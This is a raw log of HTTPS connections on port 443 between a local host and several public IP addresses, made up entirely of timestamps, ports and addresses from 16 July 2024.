Jul 16, 2024 13:07:34.341020107 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.341198921 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.341264009 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.341275930 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.341365099 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.341414928 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.341425896 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.341986895 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.342076063 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.342117071 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.342129946 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.342176914 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.342186928 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.343065977 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.343159914 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.344574928 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.344600916 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.366595984 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.366637945 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.366714954 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.366942883 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.366956949 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.508090973 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:34.548501968 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:34.683224916 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:34.683288097 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:34.683336973 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:34.684175014 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:34.684184074 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:34.735120058 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:34.735153913 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:34.735220909 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:34.735445023 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:34.735460043 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:34.793119907 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.793689966 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.793718100 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.794045925 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.794368982 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.794437885 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.794553995 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.804696083 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.804900885 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.804909945 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.805262089 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.805567980 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.805629969 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.805763960 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.840497017 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.848501921 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.854764938 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.854984045 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.854993105 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.858515024 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.858598948 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.858906031 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.859078884 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.859165907 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.859173059 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:34.904681921 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:34.963795900 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.963872910 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.963895082 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.963943958 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.963978052 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.964030027 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.964092016 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.964776039 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.964816093 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.964850903 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.964880943 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.971256971 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.971318007 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.971328020 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.971601963 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.972052097 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.972100019 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.972326994 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.972424984 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.972431898 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.972441912 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.972621918 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:35.248775005 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.248893976 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.248987913 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.248995066 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.249015093 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249147892 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249195099 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.249201059 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249238014 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.249243021 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249459028 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249512911 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.249517918 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249603987 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.249645948 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.249651909 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.261519909 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:35.261724949 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:35.261737108 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:35.262722969 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:35.262789011 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:35.263780117 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:35.263839006 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:35.264090061 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:35.264096975 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:07:35.268976927 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269037008 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269046068 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269133091 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269216061 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269258976 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269263983 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269300938 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269305944 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269418001 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269469023 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269474030 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269578934 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269622087 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269627094 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269766092 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269810915 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.269815922 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.269985914 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270030022 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.270035028 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270137072 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270188093 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.270193100 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270275116 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270319939 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.270324945 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270435095 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.270481110 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.270486116 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.271872044 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.271923065 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.271928072 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272054911 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272172928 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272206068 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.272212029 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272248983 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.272253990 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272438049 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.272512913 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.272567034 CEST	50064	443	192.168.2.5	104.17.25.14
Jul 16, 2024 13:07:35.272577047 CEST	443	50064	104.17.25.14	192.168.2.5
Jul 16, 2024 13:07:35.307754993 CEST	50066	443	192.168.2.5	188.114.96.3
Jul 16, 2024 13:07:37.057940006 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.057971001 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.058042049 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.058269024 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.058283091 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.883117914 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.883392096 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.883419037 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.884474993 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.884561062 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.886547089 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.886610985 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.887068033 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:37.887082100 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:37.938656092 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.147068977 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.147119999 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.147171021 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.147181988 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.147233009 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.148505926 CEST	50067	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.148523092 CEST	443	50067	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.161942959 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.161967039 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.162103891 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.162328005 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.162334919 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.972125053 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.972424984 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.972438097 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.973313093 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.973373890 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.973737955 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.973793983 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:38.973977089 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:38.973984957 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.003962994 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.004005909 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.004224062 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.004384041 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.004400015 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.016863108 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.241847038 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.241892099 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.241940975 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.241955996 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.241969109 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.242013931 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.243447065 CEST	50068	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.243462086 CEST	443	50068	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.827024937 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.827362061 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.827378988 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.827688932 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.828186989 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.828244925 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:39.828433990 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:39.872505903 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.094095945 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.094142914 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.094191074 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.094203949 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.094214916 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.094247103 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.094276905 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.094997883 CEST	50069	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.095006943 CEST	443	50069	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.098067999 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.098088026 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.098150015 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.098330975 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.098342896 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.938581944 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.938870907 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.938884974 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.939234972 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.939562082 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.939631939 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:40.939982891 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:40.980509043 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.014992952 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.015022993 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.015259981 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.015475988 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.015490055 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.210429907 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.210475922 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.210522890 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.210531950 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.210546017 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.210566044 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.210597038 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.211962938 CEST	50072	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.211973906 CEST	443	50072	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.833987951 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.834340096 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.834369898 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.838066101 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.838196039 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.839401960 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.839498043 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.839626074 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:41.839632988 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:41.889736891 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.000633001 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.000673056 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.000809908 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.001837969 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.001852989 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.100774050 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.101898909 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.101907969 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.101928949 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.101963043 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.101967096 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.101991892 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.102005005 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.102015972 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.102037907 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.102041960 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.102081060 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.188580036 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.188633919 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.188667059 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.188684940 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.188709974 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.188725948 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.191041946 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.191082954 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.191114902 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.191122055 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.191158056 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.277055025 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.277106047 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.277141094 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.277158022 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.277201891 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.278191090 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.278233051 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.278271914 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.278280020 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.278311014 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.278326035 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.280138969 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.280181885 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.280234098 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.280241013 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.280265093 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.280303001 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.280311108 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.319077015 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.319104910 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.319144011 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.319156885 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.319204092 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.363809109 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.363854885 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.363902092 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.363920927 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.363953114 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.363971949 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.365223885 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.365272045 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.365298986 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.365310907 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.365336895 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.365348101 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.366405964 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.366449118 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.366477966 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.366486073 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.366518021 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.366532087 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.368055105 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.368096113 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.368122101 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.368130922 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.368154049 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.368174076 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369242907 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369286060 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369306087 CEST	50073	443	192.168.2.5	152.199.21.175
